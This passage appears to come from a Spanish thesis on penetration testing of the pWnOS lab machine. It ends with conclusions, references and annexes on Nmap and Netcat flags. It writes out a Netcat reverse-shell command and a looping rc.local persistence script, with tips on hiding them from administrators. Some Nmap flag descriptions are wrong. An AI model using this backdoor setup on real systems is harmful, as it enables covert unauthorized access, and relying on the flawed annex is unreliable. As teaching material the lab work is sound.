• No results found

CHAPTER 1 Introduction

1.3 Theoretical Framework and Conceptual Model

1.3.2 Constructivist Learning Theory

Luego de comprometido el sistema y conseguida la elevación de privilegios y el acceso a la información crítica contenida del mismo, el próximo paso es la instalación de una puerta trasera que permita acceder al sistema, aún después de eliminadas las vulnerabilidades encontradas.

Una puerta trasera es un programa que radica en la máquina de la víctima permitiendo al atacante conectarse de nuevo a esta cuando lo desee. En la mayoría de los casos una puerta trasera es un proceso oculto que se ejecuta en dicha máquina posibilitando ganar acceso no autorizado a la misma.

Para llevar a cabo la instalación de la puerta trasera en pWnOS se utiliza la herramienta Netcat, la cual permite establecer una conexión entre dos sistemas ya sea como servidor o como cliente. En este caso se utiliza dicho programa en modo servidor, donde actúa como un oyente (listener) esperando aceptar conexiones entrantes; este método se denomina shell

inversa. Este tipo de conexión se utiliza comúnmente si la máquina de la víctima se encuentra localizada fuera de la red del atacante y permite prevenir las reglas de los firewalls, ya que comúnmente estos permiten sin problemas las conexiones salientes por lo que una shell inversa originada dentro de la red de la víctima le permitirá conectarse a el servidor del atacante.

Para llegar a obtener una shell inversa con Netcat primeramente se ejecuta la línea de comando nc –nlvp 1337 en el terminal del Backtrack, donde se pone al Netcat a la escucha por el puerto 1337; para ver el significado de las demás opciones utilizadas ver el Anexo 2. Posteriormente en la máquina de la víctima se escribe el comando nc 192.168.1.128 1337 –e /bin/sh el cual permite la ejecución de una shell en la dirección IP (máquina del atacante) y por el puerto 1337; en un escenario real el puerto seleccionado debe ser un puerto muy inusual debido a que puede generar alarmas al administrador de seguridad. En la figura 3.12 se ilustra la obtención de dicha shell inversa.

Figura 3.12. Obtención de una shell inversa con Netcat

Por último para convertir la puerta trasera en persistente, de forma que se mantenga el acceso una vez reiniciada la máquina de la víctima se debe crear un scripts con las siguientes líneas de comando.

#!/bin/sh while true ; do

nc 192.168.1.129 1337 -e /bin/sh done

Luego se guarda con el nombre Netcat.sh y mediante el editor de texto Vim se edita el fichero rc.local ubicado en /etc donde se agrega la línea sh /etc/Netcat.sh antes de exit 0, siendo /etc/Netcat.sh la ubicación del script creado. Se ha de destacar que, en un caso real,

tanto el nombre del script como el puerto utilizado deben ser lo más parecidos posibles a los usados por el sistema para no levantar alarmas en el administrador del sistema.

3.4 Conclusiones del capítulo

Las vulnerabilidades afectan a todas las plataformas tecnológicas, por lo que es uno de los riesgos más grande que afrontan los administradores de seguridad ya que la explotación de una vulnerabilidad constituye el mecanismo más efectivo con el que cuenta un atacante para acceder a un sistema. Estas se localizan en un sistema informático, en las versiones de los servicios y en el sistema operativo, y están dadas principalmente a fallos en su implementación.

Debido a esto, las organizaciones y específicamente, los administradores de seguridad, deben llevar a cabo un correcto proceso de gestión de vulnerabilidades, el cual permita identificarlas y darles un tratamiento proactivo, de forma tal que minimice o elimine el riesgo asociado a las fallas tecnológicas que pueden ser afectadas.

CONCLUSIONES

Con la culminación de este trabajo se pueden llegar a las siguientes conclusiones:

Las pruebas de penetración brindan una visión más exacta sobre el nivel de seguridad de los sistemas informáticos y las redes de comunicación ya que evalúan estos sistemas en su totalidad mediante la explotación de las vulnerabilidades simulando un atacante real.

Backtrack ofrece una gran cantidad de herramientas muy prácticas para el análisis de las vulnerabilidades y la realización de las pruebas de penetración.

En sentido general las tres vulnerabilidades presentes en pWnOS constituyen un serio problema a la seguridad del sistema debido a que:

La vulnerabilidad de Webmin permite realizar consultas a archivos que poseen información sensible posibilitando posteriormente componer un vector de ataque en base a la información capturada.

La vulnerabilidad que afecta a OpenSSH permite deducir la clave privada a partir de la pública de los usuarios mediante un ataque de fuerza bruta, dando como resultado el acceso al sistema con permisos locales.

La vulnerabilidad existente en la versión del Kernel del entorno de pWnOS permite escalar privilegios a root mediante el uso de un exploit local, lo cual deja al sistema expuesto completamente al atacante.

RECOMENDACIONES

 Analizar las herramientas y potencialidades que presenta la distribución del Kali Linux para la realización de pruebas de penetración.

 Realizar las pruebas de penetración a otros entornos de entrenamiento de seguridad tales como pWnOS 2.0 y Kioprix.

 Profundizar sobre las vulnerabilidades presentes en los sistemas informáticos, específicamente sobre aquellas que afectan a las aplicaciones web.

REFERENCIAS BIBLIOGRÁFICAS

ASWATHY, K., DIVYA, C., MANJU, K., MARY, M. & NIMMY, M. 2007. Samba Server Adminstration.

BEALE, J., DERAISON, R., MEER, H., TEMMINGH, R. & WALT, C. V. D. 2004.

Nessus network auditing, Syngress Publishing.

BRAGG, R. 2002. CISSP Certification: Training Guide, Que Publishing.

CAMERON, J. 2004. Managing Linux systems with Webmin: system administration and module development, Prentice Hall Professional.

CANO, S. R. M. 2001. ASIS: Diseño y Aplicación de un Sistema Integral de Seguridad Informática para la UDLA. Maestría, Universidad de las Américas, Puebla Escuela de Ingeniería

CARLING, M., DEGLER, S., DENNIS, J. & FRAGUAS, S. 2001. Guía avanzada administración de sistemas Linux, Prentice Hall.

CASWELL, B., BEALE, J., RAMIREZ, G. & RATHAUS, N. 2005. Nessus, Snort, & Ethereal Power Tools: Customizing Open Source Security Applications: Customizing Open Source Security Applications, Syngress.

COOPER, J. 2000. The Book of Webmin. avilable at: httu.

CHARLES, P. P. & SHARI, P. L. 2008. Security in Computing, Prentice Hall.

DIMKOV, T., PIETERS, W. & HARTEL, P. Year. Training students to steal: a practical assignment in computer security education. In: In Proceedings of the 42nd ACM Technical Symposium on Computer science education.ACM, 2011. 21-26.

ENGEBRETSON, P. 2013. The Basics of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy, Elsevier.

ENUMERATION, C. W. 2009. The MITRE Corporation, Common Vulnerability and Exposures, About CVE Identifiers [En línea]. Disponible en:

http://cve.mitre.org/cve/cve.html [Consultado 25 de Marzo]. FAIRCLOTH, J. 2011. Penetration tester's open source toolkit, Elsevier.

GÓMEZ VIEITES, Á. 2007. Enciclopedia de la seguridad informática. Alfaomega RA-MA, México.

GREGG, M. 2013. Certified Ethical Hacker (CEH) Cert Guide, Pearson Education.

HARPER, A. & BAUCOM, M. 2011. Gray Hat Hacking: The Ethical Hacker's Handbook, McGraw-Hill.

HERZOG, P. 2003. OSSTMM 2.1. Manual de la Metodología Abierta de Testeo de Seguridad.

HOWLETT, T. 2004. Open Source Security Tools, Prentice Hall.

HUMPHREYS, E. 2007. Implementing the ISO/IEC 27001 information security management system standard, Artech House, Inc.

JARA, H. & PACHECO, F. G. 2012. Ethical Hacking 2.0., USERSHOP. KABIR, M. J. 1998. Apache Server Bible, IDG Books Worldwide, Inc. KANCLIRZ, J. 2008. Netcat Power Tools, Syngress.

LIN, C. H., CHEN, C. H. & LAIH, C. S. 2008. A study and implementation of vulnerability assessment and misconfiguration detection. InAsia-Pacific Services Computing Conference. APSCC'08. IEEE.

LUCENA, M. J. 2007 Criptografıa y seguridad en computadores.

LYON, G. F. 2009. Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning, Insecure.

MANZUIK, S., PFEIL, K. & GOLD, A. 2006. Network Security Assessment: From Vulnerability to Patch: From Vulnerability to Patch, Syngress.

MELL, P., SCARFONE, K. & ROMANOSKY, S. 2007. CVSS:A Complete Guide to the Common Vulnerability Scoring Systems Version 2.0, FIRST: Forum of Incident Response and Security Teams,.

OISSG 2006. Information System Security Assessment Framework (ISSAF) Draft 0.2.1. OREBAUGH, A. & PINKARD, B. 2011. Nmap in the Enterprise: Your Guide to Network

Scanning, Syngress.

OWASP 2008. OWASP Testing Guide. OWASP Foundation OWASP. 2010. OWASP (Open Web Application Security Project)

[En línea ]. Disponible en: http://www.owasp.org [Consultado 20 de febrero].

PAZMIÑO, O., BOLIVAR, J. & VILLARROEL, C. F. V. 2012. Propuesta de Best Practice para el Análisis de Vulnerabilidades, Métodos de Prevención y Protección Aplicados a la Infraestructura de Red del Laboratorio de Sistemas.

PIATTINI, M. & DEL PESO, E. 2001. Auditoría Informática. Un enfoque práctico. RA- MA, Madrid, 245.

PRITCHETT, W. 2012. BackTrack 5 Cookbook, Packt Publishing Ltd.

SCARFONE, K., SOUPPAYA, M., CODY, A. & OREBAUGH, A. 2008. NIST Special Publication 800-115: Technical Guide to Information Security Testing and Assessment. NIST.

STALLINGS, W. 2003. Network Security Essentials, Pearson Education

TENABLE NETWORK SECURITY 2013. Nessus Activation Code Installation. VENKATACHALAM, G. 2007. The OpenSSH protocol under the hood. Linux J, 156. WILHELM, T. 2013. Professional Penetration Testing: Creating and Learning in a

Hacking Lab, Syngress Publishing.

WILHELML, T. 2013. Professional Penetration Testing: Creating and Learning in a Hacking Lab, Newnes.

WILSON, D. & CONWAY, G. E. 2009. The tactical conflict assessment framework: a short-lived panacea. The RUSI Journal, 154, 10-15.

ANEXOS

ANEXO 1

Descripción de los comandos de Nmap

DESCUBRIMIENTO DE EQUIPOS

-Pn No realiza ninguna técnica de descubrimiento directamente al análisis de puertos.

-sN Sólo lista equipos. No envía ningún paquete a los objetivos.  ANÁLISIS DE PUERTOS

-sT Envía un SYN. Es la técnica usada por defecto. Rápida, fiable y relativamente sigilosa denominada half-open scan.

-sU Envía UDP vacío. Más lento que un análisis TCP. Se puede realizar en paralelo a otras técnicas. Para diferenciar entre Open y Filtered se puede usar el detector de versiones (-sV).

-sO Envía paquetes IP con la cabecera vacía (excepto para TCP, UDP e ICMP) iterando sobre el campo IP Protocol. Determina los protocolos de transporte soportados por el objetivo.

ESPECIFICACIÓN DE PUERTOS -p Especifica el rango de puertos a analizar.

-p- Escanea todos los puertos. U: indica sólo UDP; T: sólo TCP; S: sólo SCTP. DETECCIÓN DE VERSIONES

-sV Interroga al conjunto de puertos abiertos detectados para tratar de descubrir servicios y versiones en puertos abiertos.

DETECCIÓN DEL SISTEMA OPERATIVO

-O Envía paquetes TCP y UDP al objetivo. Analiza las respuestas para conocer qué tipo de implementación de la pila TCP/IP tiene el objetivo.

ANEXO 2

Comandos de Netcat (nc)

-d Permite que nc trabaje en forma silenciosa y se desenganche del indicador de comandos MS-DOS.

-e<comando> Un nc a la escucha podrá ejecutar el <comando> en el instante en que alguien se conecte al puerto en el que está escuchando.

-i <segundos> Intervalo de espera, que es la cantidad de tiempo que nc esperará entre dos envíos de datos sucesivos.

-g <lista-de-ruta> Se pueden especificar hasta 8 opciones –g en la línea de comandos para forzar que su tráfico nc pase por determinadas direcciones IP.

-G <puntero de saltos> Esta opción le permitirá definir qué dirección IP va a ser el siguiente salto dentro de la ruta indicada con la opción –g.

-l Activa el modo escucha de nc.

-L Activa el modo escucha de nc pero con más interés.

-n Indica a nc que no realice ninguna consulta de nombres de hosts.

-o <archivo hex> Realiza un volcado hexadecimal de los datos y los almacena en un archivo hexadecimal.

-p <puerto> Le permite especificar el puerto local que va a utilizar nc.

-r Nc elegirá aleatoriamente los puertos locales y remotos.

-s Especifica la dirección IP de origen que deberá utilizar nc cuando efectué sus conexiones.

-t Es capaz de controlar la negociación de opciones Telnet.

-u Indica a nc que utilice UDP en lugar de TCP.

-v Informa el estado de nc, que si se pone otra –v se puede obtener más información.

-w <segundos> Controla cuanto tiempo va a esperar nc antes de dar por terminada una conexión.

-z Le dice a nc que envíe la cantidad de datos necesarias para conocer en que puertos se está escuchando algo.

ANEXO 3

ANEXO 4

Related documents